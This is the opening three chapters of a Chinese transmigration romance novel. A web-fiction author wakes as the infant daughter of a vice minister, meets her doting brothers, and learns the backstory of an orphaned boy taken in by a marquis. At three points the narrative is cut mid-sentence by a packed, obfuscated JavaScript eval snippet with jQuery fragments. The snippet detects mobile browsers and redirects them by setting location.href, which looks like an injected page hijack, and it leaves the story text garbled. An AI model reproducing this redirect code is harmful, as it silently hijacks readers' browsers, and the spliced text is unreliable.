《竹马未婚夫竟是太子殿下》
1. 穿越
“夫人,加把劲,马上就要生出来了!”
偌大的庭院当中,某间装修华丽的屋子人来人往,不停地有血水被端出来。
女人青丝披散在床榻上,被疼痛折磨得忍不住发出凄惨叫声,手中握着的帕子早已经被汗水浸湿,长长的指甲掐入其中。
终于,一声婴儿哭啼响彻院子,忙里忙外的人脸上都露出几分欣喜。
“恭喜老爷、夫人,府上添了一位千金!”
床上女人从刚才的剧痛中缓过来,额角的发丝被冷汗浸透,她努力撑起身子,向一旁抱着婴儿的乳娘招手。
“我、我看看孩子。”
刚出生的女孩已经被擦去身上的污渍,包裹在柔软云锦绸缎织成的襁褓当中,在最开始的哭啼之后便安安分分地躺在乳娘怀里。
女人接过襁褓,望着她皱巴巴的小脸,终于露出了一抹温柔的笑容。
她坚持抱了一会儿,直到手中无力,才把婴儿小心地交给了乳娘。
听闻喜讯之后,不大的厢房里面早已经挤满了人,恭喜声不绝于耳。
女人屏退了其他无关的人,只留下贴身奴婢,笑着看向一直在旁边守候的相公。
“给她取个名吧。”
已值深秋,庭院当中的树叶都变得枯黄,纷纷飘落,却不见枯败景象。
户部侍郎盛怀德望了望窗外,又看向刚出生如小猫一样的嫡女:“就叫秋阑吧,盛秋阑。”
.
耳边一片喧扰,盛秋阑睁开眼,意识还有些混沌。
周围的景物十分陌生,来来往往的丫鬟盘着简单发髻,脸上难掩欣喜。
她这是在哪?
盛秋阑努力回忆着之前的事情,作为马上要毕业的大学生,她白天忙着实习面试,只有晚上的时间能够写写小说赚点外快,睡眠时间严重不足,又恰好碰上连载的小说被大肆群嘲。
身为高流量女频网站的作者,她靠着古早狗血文学起家,这几年来一直在自己的舒适圈,倒也积累了不少喜好相投的粉丝。
只是随着时代发展,这种类型的小说逐渐落后于潮流,不但看的人变少,而且还引来了不少人在小说下面评论。
[这年头居然还有人写红眼发疯男主和落跑娇妻?作者别做白日梦了,还是出门找个班上吧。]
盛秋阑白天被HR明里暗里告知面试结果不如意,晚上打开网站就看到这条评论,一怒之下,连晚饭都没有来得及吃就决定改文。
终于把全文改完,她把眼神从电脑屏幕中移开,感觉到眼前阵阵发黑,头晕目眩,忍不住趴倒在桌子上。
一醒来就来到了这里。
四肢全都被布料束缚着,完全动不了。
盛秋阑尝试着挣扎了一下,反而被抱得更紧,索性不再动弹,用耳朵听着周围人的交谈。
盛家?侍郎府?
她抓到了这两个关键词,从脑海中搜索一番,终于知道了自己现在身处何地。
这是最近大火的男频买股文,主打主角升级流,皇位有力竞争者是现太子和四皇子。
盛秋阑追更到大半,作者突然断更了,虽然过了一段时间之后,作者回来坚持完结了,但是她已经失去了兴趣,直接翻到了最末尾看别人总结。
出乎意料的是,最后夺得皇位的并不是其中的任何一个人,而是前文中提到过的早已经失踪的先太子。
按理来说这种后起之秀,先前追更买股的读者情绪都不会很好,但是盛秋阑点开文章评论,却发现底下没有多少骂声,反而都是对皇帝的讨论。
[这种表面温润公子实则杀伐果断真的太戳我了,谁懂太子前期韬光养晦,最后登基上位那一刻,我在床上爽到打滚。]
[还有前期废太子和四皇子党羽,一个都没有留下,尤其是那个户部尚书家,要不是被嫡女连累,也不至于满门抄斩。]
盛秋阑对评论当中所说的尚书嫡女有印象,原因无他,只是因为她们重名了。
她虽然写狗血言情文,可实际上一段恋爱都没有谈过。
而书中的那个盛秋阑,却是个不折不扣的恋爱脑,在一次宫宴中对风流倜傥的四皇子一见钟情,仗着全家的宠爱和父亲户部尚书的身份,偷偷为他提供各种方便,做了不少违背当朝律法的事情。
四皇子的罪名是通敌,盛秋阑作为他这一党的支持者,在其中也起到了作用。
断更之前四皇子还没有下台,按照时间线来推算,府中自然也是一切无事。
盛秋阑当时看到这条评论,对这位同名的炮灰女配没有多少同情,反倒是觉得她的家人实在无辜。
作为女频作者,她自然也写过穿书文,只是没想到有朝一日会落到自己身上。
盛秋阑闭上眼睛,在心底呼唤着系统。
按照一般套路,现在就是系统和她对话环节,然后她就需要一步步根据提示完成任务。
咦,声音呢?
等了半天,盛秋阑差点要睡着了,都没有听到套路中的系统音。
这不对吧?
她活动了一下身子,系统没有的话,总应该有个金手指吧。
目前所处的身躯弱小,虽然灵魂已经是二十多岁,但是身体机能都还处在婴儿时期,刚刚在脑海中回顾完原书的情节,盛秋阑就有些疲倦了。
别说金手指了,就连路都不能走。
传说中的天崩开局。
盛秋阑在最开始的郁闷之后,就心大地开始环顾起四周。
她被乳娘抱着,不知道具体路线,只能通过移动的景色来判断方位。
周围名贵树木环绕,一看就是有下人专门负责修剪,作为三品官员的户部侍郎,侍郎府修建得极为阔绰,假山水池环绕,就连台阶都是上好的白石铺成。
盛秋阑勾了勾外面包裹着的布料,云锦绸缎柔软,但是极其防寒,被厚厚裹了一层,就算在气温较低的深秋,也不会觉得冷。
乳娘手很稳,但是在行走过程当中不免有轻微颠簸,刚出生的她本就容易疲倦,被这样一晃,困意渐渐袭来。
就在即将入睡的时候,盛秋阑听到身边陪伴着的一个丫鬟轻呼:“那是谁家小公子?”
她来了兴趣,挣扎着睁开眼,想看看是谁。
即便之前通过上帝视角看过原书,但剧情全都围绕着几位主角展开,像户部尚书这类配角,只是寥寥提到了几笔,大部分事情还需要自己去摸索。
盛秋阑不是个被动等待的人,哪怕她现在还只是一个婴儿。
只是这个视角太过狭窄,她只能听见两个人的对话,却看不到来人相貌。
一道稚嫩的声音响起,带着几分无措:“我……我迷路了。”
“碧云,你去看看。”
一旁候着的一位丫鬟依言上去,盛秋阑竖着耳朵,努力去听他们的谈话。
“今日府中夫人生育,暂不允许出入。小公子是哪家府邸的,姓甚名何?我们差人送你回去。”
“傅如珩。”
“傅……”碧云思考了一下,问其他的丫鬟,“今日侯府可来庆贺?”
有消息灵通的抢先答道:“侯府管事不久前送来了贺礼,现在应当还在府外。”
碧云当机立断,对剩下的人嘱咐:“我先送小公子出府,侧榻已经放好了炭盆,外面风凉,你们快些带小姐去吧。”
眼见着人还没有看到就要走了,盛秋阑有些着急,扭动着身子想要说话,却只能发出“啊啊”的声音。
乳娘没想到怀里的孩子刚才安静了一路,这时候会闹腾起来,不过她很有经验,靠着平常照顾小孩的方式来安抚,却依旧没有止住。
当然没有用,盛秋阑只是穿越到了婴儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904861|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里面,智商还没有退化。
她今天势必要见到人。
“兴许是在陈妈妈怀里久了,要不换奴婢来抱小姐吧,夫人临盆之前奴婢专门学过一些。”一旁的丫鬟提议道。
这种情况并不少见,乳娘听她说得有几分在理,把襁褓小心翼翼地递给刚才说话的人。
借着这个机会,盛秋阑朝刚才出声的方向望去,那边有一位约莫两三岁的小男孩,哪怕身材瘦弱也不难看出五官的优越。
他的表情是强撑起来的冷淡,但是依然能看出其中的慌张,即便如此,面对上前询问的丫鬟,举止之中还是带着礼貌和得体。
这位就是侯府公子?
盛秋阑回忆着原书剧情,先太子失踪找寻未果之后,原二皇子就被封为了太子,他的亲生母亲是侯府嫡次女,侯府作为现太子的母家,自然是全力支持他这一党。
不过文中提到过的侯府家的世子嚣张跋扈,不堪大用,和眼前这位大不相符。
盛秋阑没有在评论当中看到侯府的结局,不过太子倒台,应该也没有好下场。
如此一来,她不由得对这位看上去比她大不了多少的男孩起了几分同病相怜的感情,书中二皇子干的大部分事情是草包世子和侯爷促成的,其他人应该只是被牵连。
不过上位的皇帝可不管这些,盛秋阑想到之前的评论,无一不是在说他杀伐果断。
余光当中,误闯进来的那位侯府公子已经转身,简单的青绿长袍丝毫没有盖住满身气度。
盛秋阑有些不忍,只是目前她自身都难保,更别提侯府的事情了。
最初的目的已经达成,她不再哭闹,安安分分地躺在丫鬟的怀中。
“小姐真是好看,比我见过的所有小孩子都漂亮。”
“那是,老爷生得俊,夫人也是京城一等一的美人,生出来的小姐自然也不会差。”
说话之间,他们终于到了后院的主寝殿,主榻旁边早已经准备好一张小榻,上面厚厚地铺了两层垫子,不远处放着一个金丝炭盆。
炭盆散发着热气,隐隐能看见火光,即便寝殿空间很大,也照得暖烘烘的。
盛秋阑被安放在榻中间,两边的围栏高高竖起,用的是上好的紫檀木,木头上面雕刻着栩栩如生的龙凤,就连身下的垫子用的也是和襁褓一样材质的厚云锦,上面用银线绣着缠枝牡丹。
床榻最下面垫着羊毛,整个人都陷在柔软之中,已经被炭火烘烤得相当暖和。
虽然已经生产完毕,但是府中的事情还是不少,来的时候浩浩荡荡一群人护送,看到女婴已经被安然放入床榻之中,其他人就各自忙活,只留下了一位乳娘和两位丫鬟帮忙照看。
盛秋阑先前的困意没了大半,又不能起身,顺势观察自己未来要居住很长时间的地方。
她眼尖地瞥到床栏外有一抹金光,调整了一下姿势,仔细看过去,发现是一个悬挂在外侧的平安锁。
柔软的红绳系在上面,在绳结的最末尾,坠着一颗圆润温和的珍珠,锁身是用纯金制成的,用绳子悬吊在围栏上,上面雕刻着的莲花纹样与床栏杆上牡丹纹呼应。
锁扣处同样是用赤金雕刻出来的莲花浮雕,花瓣层层叠叠,最中间镶着一块成色极佳的红宝石,晶莹剔透,周边用金丝缠绕包裹,牢牢锁住了宝石,一眼便知价格不菲。
即使盛秋阑还没有见过她在这个世界的爹娘,但光从身边丫鬟的言语和目光所及的这些准备当中,就能看出原身是在荣华和宠爱中出生的。
即使是在大户人家当中,拥有这些配置的也是少数。
盛秋阑盯着这一枚平安锁看了一会儿,陌生的情感充盈着整颗心脏,让她不免心生出欢喜。
她回想起来书中的结局,在沉沉入睡前默默下定了决心。
这次她不会让家人再落到这种结局了。
2. 争宠
婴儿的精力实在有限,在接下来的几天,盛秋阑每天吃了睡、睡了吃,除了身边一直照顾的侍女和乳母,就只见到过她的娘亲这一位亲人。
侍郎夫人当初是名震京城的美人,母家也是朝中有名的官府人家,当初前来提亲的人数不胜数,但是她和盛怀德从小一起长大,互相心悦,自然将其他人拒绝了。
成婚之后,盛怀德也没有再纳妾,府中只有她一位正宫夫人,两人的感情甚笃,生产之前,他特意向朝中告了半旬假期,专门守候在旁边。
即便已经生了三个小孩,岁月也没有在她的脸上留下太多很痕迹,看上去依旧年轻,容颜也不减当年。
府中上上下下皆由她来照顾,平日对丫鬟们虽然平和,但还是带着气势,只有在面对盛秋阑的时候,多了一点母性的温柔。
夫人在贴身侍女的搀扶下坐在小榻旁边的椅子上,因为身子还没有完全修养好,一头青丝上没有过多装饰,只用木簪在脑后挽了一个髻子,手指隔着栏杆虚虚戳了一下床中的幼女:“我们小秋阑要快点长大啊。”
三日过后就是“洗三宴”,府中早早备好了相关事物,盛秋阑根本不用动脑,在当天被抱着进行完所有仪式。
她早上强行撑过沐浴环节,面前来来往往许多长辈,强行记了个轮廓,就实在受不住困意,沉沉睡下去。
睡着之前,盛秋阑原本心中还念着会不会见到之前侯府的公子,只是宾客们都在前厅,对方看上去也不像是受宠的样子,虽然听着身份尊贵,周围却连一个照顾的侍女都没有,不然也不至于落到独自一人迷路的境况。
算了,等她再大些,就可以自己去找对方了。
再次醒来已经是第二日,盛秋阑听到几声模糊的对话,她微微皱眉,还没有睁开了眼睛,耳边的声音先变得清晰。
“这就是我们小妹啊,怎么感觉和我之前想象的不大一样。”
那人停顿了一下,而后开口:“感觉有些丑。”
另一个人语气较为沉静,听起来年岁也稍大一些:“你刚出生时比她还难看。”
虽然是这样说,但是盛秋阑敏锐地捕捉到了背后的意思。
他并没有否认那一句丑。
这一日被丫鬟们左一句“好看”,右一句“漂亮”夸得飘飘然,乍一听有人这样说,盛秋阑心中涌上来一股气,怒气冲冲地睁开眼。
她倒要看看是谁在说她丑。
迎面对上两个凑在一起的脑袋,左边那个个头稍矮,发丝凌乱,看上去像是在外面疯玩了一圈,唯有一双眼睛亮得惊人。右面那位则要端庄许多,头发用丝带绑起来,脸上难得透出了一丝好奇。
两个人的身量都不算矮,从盛秋阑躺着的角度来看,可以说是仰视。
但她穿过来之前可是大学生,真实年龄是面前两个小豆芽的两倍,所以一点都不怵。
她眯起眼睛,努力做出一副凶狠的样子,盯着面前的人。
就是你们两个说我的吧。
只是盛秋阑实在是太小了,这幅样子不但没有一点威慑力,反而更加引来了关注。
左边那个小孩惊喜道:“妹妹是不是醒了,她在看我。”
什么叫看,这是瞪!
此时,盛承驰已经顾不上先前的话题,露出八颗大牙介绍自己:“妹妹,我是你二哥。”
旁边的人刚开始没有说话,但眼睛也一直没有离开,听到弟弟介绍完自己,他慢悠悠地开口,语气中带着一点紧张:“我是你大哥,盛承礼。”
原书当中对这两位的描写并不算多,只在尚书府被包抄的时候提过一嘴。
盛承礼在考中进士之后就入朝为官,因为父亲的关系,留在户部做了主事,本来再干两年还能够升上一职,结果还没有等到那时候就出事了。
关于盛承驰的描述就更少了,他在及冠后就离开了尚书府南下,最后的结局也没有人知晓。
盛承驰见妹妹一直看着自己,更来劲了:“叫哥哥好不好,哥、哥。”
他丝毫不觉得自己教一个刚出生四天的小孩说话有什么问题,甚至还重复了好几遍。
盛秋阑现在只能发出单个音节,自然回应不了他的期待。
况且她还记着仇呢。
盛承驰见得不到回应,忧心忡忡地说:"妹妹怎么一直不说话,不会是嗓子有什么问题吧,要不要叫大夫来看一眼。"
之前他好友也生了个妹妹,据说天天哭闹,隔着几间屋子都能听到,反观他刚出生的小妹,自从醒来之后一声都没有响过。
盛秋阑听了这话,不可置信地睁大眼睛。
你才有问题,你全家都有问题。
还想让我叫哥,哥你个大鬼头。
她动不了,只能通过眼神表达自己的不满,一旁的盛承礼就没有那么多顾忌了,他给了弟弟一肘,板着脸教训:“妹妹只是比较文静,切莫胡说。”
他这一下用力没有收着,盛承驰表情扭曲,自知自己说错了话,倒也没有反驳。
他揉了揉被撞痛的部位,看着龇牙咧嘴的盛秋阑。
“我给你准备了好多玩意,等长大点就给你,有金发簪,珠宝做的小首饰,还有一些玉珠子。我特意问了好兄弟,他妹妹可喜欢这些亮晶晶的东西了,每天就撒着金珠子玩,不过我打听了一下数目,还是你更多。”
盛秋阑表情一顿,笑容逐渐变得真情实感起来。
这还说啥啊,都是一家人。
——所以什么时候把东西给她?
小孩子的脸上藏不住表情,所以她的变化很明显。
盛承驰得意地看了自家大哥一眼:“妹妹肯定会很喜欢我的。”
盛承礼表情淡淡,显出几分运筹帷幄:“我自然也给小妹准备了生辰礼,前几日西洋过来了一批新奇玩意,我着手买下了大半,其余都在拍卖行里面。”
盛秋阑听得目瞪口呆,不愧是户部侍郎的儿子,看不出来都这么有钱。
她满含期待地看着自家二哥,眼中的意味根本掩藏不住。
比起来比起来,越多越好。
不过盛承驰憋了半天,想不出来自己的宝库里面有什么比这更有新意的,他毕竟年岁要小一些,母亲虽然不克扣零用钱,但也不会给他太多,终归比不上大哥。
既然珍贵程度比不上,那就靠数量取胜。
他转身就走,打算拿出自己原本省下来买零嘴的钱,再去购置一些东西。
盛承礼在这场短暂的交锋中取得胜利,看着弟弟风风火火跑出去的背影,又站在原地看了自家妹妹一会儿。
他先前表现出来的成熟稳重终究还是破了功,时辰已经不早了,自己的功课还没有完成,也不能在这里久留。
临走前,他轻声对盛秋阑说:“妹妹,若是你会说话了,先叫叫我罢,我是哥哥。”
盛秋阑险些笑出声来,刚才还以为大哥有多么冷静,实则也不过是个不到十岁的小孩,在弟弟面前端出一副大人的样子,面对还听不懂话的小妹,就显出背后的儿童心性来。
丫鬟们候在不远处,给兄妹留出足够的空间,等到两人都走了之后才上前,掖了掖因为动作有些散开的被子。
“少爷们和小姐感情真是好,昨日洗三宴上小姐睡着了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904862|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没能见上面,一大早上就来看她。”
“那是,小姐出生前大少和二少就开始准备礼物,听说平日里都节俭了不少。”
“先前二少爷还念叨郑公子对他家姑娘太过纵容,依我看呐,少爷对小姐才是宠得没边儿!”
丫鬟们的话系数落入盛秋阑耳中,她歪歪脑袋,决定大度地原谅两个哥哥先前的话。
算了,谁让她比他们大呢?
时间一转而过,盛秋阑心心念念着长大,不用再像之前那样去哪里都需要被别人抱着,逐渐可以自己走路了,即使只有一小段距离,她也已经很满意了。
毕竟按照心理年龄来算,她已经是二十多岁了,哪有天天被人抱着的道理。
盛秋阑开口说话要比其他人早一些,因着先前憋了太久,展现出了前所未有的表达欲,不仅在其他人询问的时候能够准确说出称呼,甚至还能说出一小句话。
她第一次开口是在侍郎夫人抱她的时候,早在之前,发现自己能够说出晦涩口音的时候,盛秋阑就在私底下偷偷练习过,不至于在面前掉链子。
虽然发音还不是很标准,但还是能听出那一声“娘”。
女人的眼圈红了一瞬,惊喜地对自己的丈夫说:“你听到了吗?秋阑叫我了。”
盛怀德含着笑点头,望向坐在自家夫人怀里的女儿:“叫声爹好不好?”
盛秋阑非常听话,乖乖叫了声:“捏。”
话说出口,她自己都不太好意思。先前那声她已经是私下练习了好久,现在舌头还太能受控制,发出来的音节往往和原意背道而驰,但是盛怀德却表现得非常满足。
“我们家秋阑真聪明,比你哥哥开口还要早。”
经过这几个月的相处,盛秋阑早已经清楚自己的地位。
他们一直想要有一个女儿,无奈前两个生出来的都是儿子。
本来盛怀德心疼妻子,不想要再生了,只是意外怀孕之后,侍郎夫人坚持生下来,当真圆了当初的念想。
在盛秋阑出生之后,相关配置更是极其用心,光是身边照顾的丫鬟就经过层层挑选。
盛怀德不仅早就准备好了独立的院落,获得名贵的东西之后更是第一时间就送到她的正房当中。
盛秋阑人还不过几个月大,她的金库里面倒是塞满了不少东西了。
不光侍郎如此,她的祖父母和外祖父母也经常来府中看望,老人家在朝中为官数十载,积攒了不少好东西,每次来都会带些名贵的物件,其中还不乏有御赐之物。
为此,盛怀德特地在她的正房旁边重新修了一间偏房,专门用来保存收到的礼品,包括盛承礼和盛承驰当初答应给她的东西。
两兄弟之间的较量到最后也没有结果,盛秋阑最后只能化身“端水大师”,勉强保持了和平。
当初小床面前,两个人急切地想要“望妹成凤”,在接下来的几个月里也没有打消念头,时不时地穿插两声诱哄的发音教学。
于是在盛秋阑能说话的第二天,她发出一声口齿不清的“哥哥”,瞬间引来了兄弟俩的注意。
她特地找了个两个人都在的时间点,坚决不给他们任何争论“谁先”的机会。
不过叫还是能多叫几声的。
盛秋阑被两个人压着叫了好几声的“哥哥”,逐渐从一开始还能听清楚到最后的含糊不清,简直把“敷衍”两字写在脸上。
即便是这样,稚嫩的声带已经开始变得有些发哑,口干舌燥。
眼见着两个人没完了,她紧紧闭上嘴,坚决不再发出一个字。
他们是没有听见过人叫哥哥吗?
3. 珩儿
京城当中季节交替分明,一晃四季已经轮过一轮,再次来到两旁道路银杏金黄的秋天,这也意味着盛秋阑即将满一周岁。
经过这一年,盛秋阑早已经熟悉了这个身体,当初只能囫囵记个样子,现在已经可以在族中有聚餐的时候熟练地叫出每个人的称呼。
唯一有一点不好,她上辈子是一个土生土长的南方人,再加上那时候气温比这时普遍要高,所以到了严寒的冬天,盛秋阑还是有些不习惯。
她的床榻四角都放着炭盆,这样犹觉不够,床上时时备着汤婆子,保持着被褥的温热,就连衣服都比其他人要厚上许多,过年时行动难度上升了一倍。
不过盛秋阑此时已经习惯了被照顾,走累了就向身后跟着的丫鬟张开胳膊,自然会有人把她抱起来。
周岁宴早在三个月前就开始筹办,前前后后忙碌着,一直到了当天。
宴会定在辰时开始,盛秋阑在寅时就被侍女们叫起来开始梳洗打扮。
她已经很久没有这么早起来了,自从出生以来,盛秋阑就表现出了极好的睡眠质量,常常睡到了日上三竿才起来。
到了深秋,夜里逐渐延长,她被叫醒来的时候,外头还是一片昏暗。
盛秋阑赖在柔软的被窝里面,双手捂住耳朵。
“我还想睡觉。”
碧云无奈道:“小姐,已经快要来不及了,半个时辰之后你就说会起来的。”
“不,要睡,一会儿……起。”
盛秋阑此时还不能说长句,只能挑选几个词表达自己的意思。
这一点放在其他人身上可能还有点用,但是碧云早已经熟悉了她的话术,听出来这只是敷衍。
再拖延下去可能就要误了吉时,碧云没有再废话,干脆将盛秋阑整个人连人带被从床上抱起来。
盛秋阑身体突然腾空,连眼睛都没有睁开,就被套上了衣服。
她仿佛没骨头一样,脑袋低垂着睡觉,双臂软绵绵地没有力气,任凭碧云操作。
等她穿好衣服,一旁早已经备好洗漱的清水,银盆下面垫着一小块暖炉,水温刚好合适,碧云用纯棉的毛巾浸入水中,帮她擦脸。
盛秋阑终于清醒了一点,没有再让碧云帮忙,自己接过毛巾囫囵擦了一下脸部,然后接过常用的香膏,抹在上面。
香膏都是去京城最好的店铺中进的,用料很扎实,散发着淡淡的山茶花香,涂在脸上润润的。
先前盛秋阑低估了京城的天气,没有涂香膏就出门了。结果走到外面,被外面的冷风一吹,不过半个时辰就脸颊通红,一摸就发疼,到了第二日才好。
自那之后,她就每天老老实实抹脸,再也没有犯过懒。
另一位贴身丫鬟迎春在这时候绕到身后,帮她梳理起了头发。
盛秋阑的发质在上辈子就特别好,一头乌黑浓密的长发披在身后,就连高三的时候都没有掉多少,穿到书里之后,这种先天优势也跟着遗传了过来。
她现在的头发还不是很长,约莫四五公分,迎春没有过多折腾,只在最中间梳起一缕,用鎏金的小发圈固定住,小辫子直直往上翘,朝着空中,有点像现代的苹果头,最后用镶嵌着珍珠的发饰点缀在上面。
光是这样还不够,盛秋阑脖子上被套上一个长命锁,手上还挂着各种小金镯,一跑起来就叮呤咣啷地响。
侍郎府早在昨天就已经装点完毕,各处都能看见红色的丝绸缎带,绕着正厅的两边梁柱,廊中悬挂着六角宫灯。
盛秋阑先前浪费了不少时间,等她结束,已经有不少宾客引入客席。
侍郎家对嫡女的喜爱早在之前就有流传,这次宴会更是丝毫不遮掩宠爱,配置规模全都是按照顶端的规格,光是宾客名单就有好几卷。
宴会当中除了盛家的内外亲属,其余都是侍郎在朝中的同僚。
盛怀德自从上任以来就受到当今皇帝的重视,晋升速度很快,三十多岁就到了户部侍郎的位置,过几年应该还会有更高的官职。
冲着这个,大多数人都愿意借着机会来结交。
正厅有父母来主持,用不着只有一岁的她操心。
盛秋阑不想要那么早就被那么多人注视,众目睽睽之下,连做个小动作都费劲,干脆跑到了一旁的花园里面去。
刚刚出生的时候,她还对侍郎府非常陌生,经过这一年,早已经熟悉了每一条小路,就连后院很少有人经过的竹林小道都去过好几次。
十一月份,只剩下几片枯黄树叶还挂在树枝上,但是此刻因为周岁宴,裸露的枝条上都被挂上了朱红色的灯笼,因而一点都不会觉得凋败。
傅如珩独立一人站在高大的树下,抬眼望着灯笼下垂落下来的流苏。
这是他第二次来到这座花园里面,上一次是一年之前,他的父亲让他跟着大管事来给侍郎府送礼。
傅如珩知道侯爷虽然把他带了回来,但是实际上并没有多少感情,他住在侯爷府,却好像个透明人,就连身边跟着的唯一一个侍从都敷衍了事。
不对,也不能算透明人。
侯府世子自从他被养在府中之后就开始看他不顺眼,有机会就会刻意过来找一番茬,他周围的仆从浩浩荡荡,就在旁边冷眼看着。
侯爷不可能不知道府中发生的事情,只是对此睁一只眼闭一只眼罢了。
傅如珩并不觉得如何,自己本该流落街头,能够有个地方住,现在还拥有了侯府公子的身份,不应该奢求更多。
他还记得自己第一天被带到侯府的时候,男人坐在书房当中,打量着他,语气中没有一点感情:“日后你就唤我父亲吧。”
傅如珩之前在街上漂泊过一段时间,期间因为露宿发烧,前面的记忆都有些模糊,对于家人的记忆更是浅淡。
此时他听到侯爷这样说,虽然面上不显,但是心中还是有些欣喜。
这是他第二个家人。
虽然傅如珩已经记不太清自己的娘亲长什么样子,但是在梦中总有一幕浮现。
女人保养得体的手轻柔地抚摸着他的脸颊:“别哭,珩儿。”
背影中火光漫天,但是浑身上下却是冰冷,燃烧的红色仿佛曼陀罗花灼灼盛放。
梦中体会不到温度,只能看到这带着绝望色彩的美丽。
再次恢复意识的时候,他被扔在了一处树林当中,身上的衣服破旧,细看还沾着点点血迹,也不知道过了多久。
树林像是很少有人踏足过,叶子落了满地,伴随着泥土,有一道浅浅的脚印,但也几乎淡得看不清形状。
傅如珩感觉到脸上有蚀骨的痛意,藏在骨头深处,用手摸过皮肤却是一片光滑。
他没有过多在意,环顾着周围的环境,小心地绕过地上丛生的荆棘,想要踏出这处地方。
傅如珩行走的速度不算快,他已经很多天没有进食了,才走了小一百米就感觉头重脚轻,一时不察就被旁边的刺勾住了小腿。
尖锐轻而易举地刺破了皮肤,原本就脏兮兮的小腿上顿时出现了一抹鲜红。
疼痛后知后觉传来,傅如珩原地坐下,想要用手捂住,却忘记了自己的手也是脏的。
先前的泥沙沾上伤口,又被胡乱抹开,看上去更加可怖。
他用衣角轻轻擦了擦,用手撑着地面站起来,一瘸一拐地继续往下走去。
面前的小道逐渐开阔,距离出口还有一段距离的时候,傅如珩看到了远方的城门。
朱红色的大门口站着两排黑甲士兵,手中的刀剑闪着银光,异常冰冷了,沉闷的颜色让整座城都蒙上阴暗色调。
傅如珩收回目光,坚持着走到山脚。
这一处地方实在是太过偏僻,即便是到了平地上,放眼望去也看不到多少人家,岩石赤裸着,就连人居住的痕迹都很少。
可是他已经没有力气再走下去了。
能够从山上走下来已经耗费了太多精力,天空也逐渐变暗,傅如珩跌坐在地面上,打算就地躺下。
大抵是处在饥饿之中,他睡得并不安稳,再次醒来是因为几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904863|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句对话。
“城中到底出了何事?城门口一直严兵把守着,已经一月有余了,都没有多少人出来。”
“是啊,再这样下去,家中最后一点粮都要没有了。”
他们停顿了一下,女人犹疑着开口:“那是一个小孩吗?”
傅如珩慢慢睁开眼。一对衣着简朴的夫妻站在不远处看着他,似是在犹豫。
见他看过来,挣扎之下,女人走上前去,从怀里捂着的馒头中掰下一小块。
“要吃吗?”
傅如珩已经没有力气回答她了,伸手拿过馒头,全都塞进嘴里。
这一小块的分量不算大,而且质地粗糙,吃下去的时候像是被砂纸狠狠划过,但他实在是太饿了,囫囵咽下去。
女人面露不忍,眼中闪过犹豫,最终还是重新把馒头塞回了衣服当中。
“你家里人呢?”
这处地方实在太过偏僻,也不知道这个男孩是怎么到这里来的。
娘亲……
傅如珩迷茫地眨了一下眼睛,大脑中的神经跳动,带着太阳穴都开始微微发疼。
熟悉的称呼,却想不起来任何东西。
女人见此明白了几分,但她自身难保,能够做的最后一件事就是提醒:“最近城中无法进去,你在可以往前面走,或许会有人家收留,不要靠近城门,小心冲撞。”
话虽如此,她心中清楚,最近因为城关紧锁,京外大小人家收入都不怎么样,更别提收留一个小孩了。
傅如珩对着她和不远处的男人鞠了一躬,慢慢往女人所指的方向走去。
他按照指示,没有靠近那扇朱红色的大门,甚至就连城门附近的村庄里面都没有走进去,徘徊在偏远的地方。
这处地方房屋不算多,但也没有那么荒凉,傅如珩找了一个桥洞,缩在下面当做自己睡觉的地点。
有时候路过的人见他可怜,可以分到一块发霉的馒头或者喝剩下的稀粥,里面几乎已经没有多少米,只剩下一点汤水,但他还是很小心地存着。
这一点东西可能是他两天的食物。
傅如珩不知道自己在桥洞底下呆了多久,身上的衣服变得破破烂烂,本就很薄的衣物甚至不能蔽体。
他曾经对着平静的湖面照自己,脸上全都是脏污,几乎连五官都看不出来,其他地方也不枉多让。
傅如珩掬了一捧水想要清洗,可冰凉的喝水一碰到脸上的皮肤就开始灼烧,疼痛剧烈到让他只能脱力般蜷缩成一团,等待着痛感过去。
之后他就再也没有尝试过。
先前远远见过的黑甲士兵曾经来到村中搜寻过一番,对着一张画像来回比对着。
傅如珩被命令抬头,他脸上已经很久没有清洗了,那位士兵犹豫着对照了一会儿,最终还是放下画卷,朝着远处继续寻找。
傅如珩的身体日渐虚弱,他待在桥洞底下的时间也越来越长,村子里面的人已经习惯了桥下有这个脏兮兮的人,家中粮食越来越紧缺,也没有多少剩饭能留给他。
就在他以为自己要在这里结束的时候,有一天,一位身着普通的中年男人手上拿着一个画像,和他对照了半天。
傅如珩想要开口,说上次已经比对过了,不是他,但是实在没有力气了。
眼前一片晕眩,连带着身形都有些摇晃。
这几日他做梦的频率越来越高,他的娘亲好像也离他更近了。
“娘。”
傅如珩眼前都开始晕眩,觉得这次比对似乎有些过久,对方终于放下手中的画像。
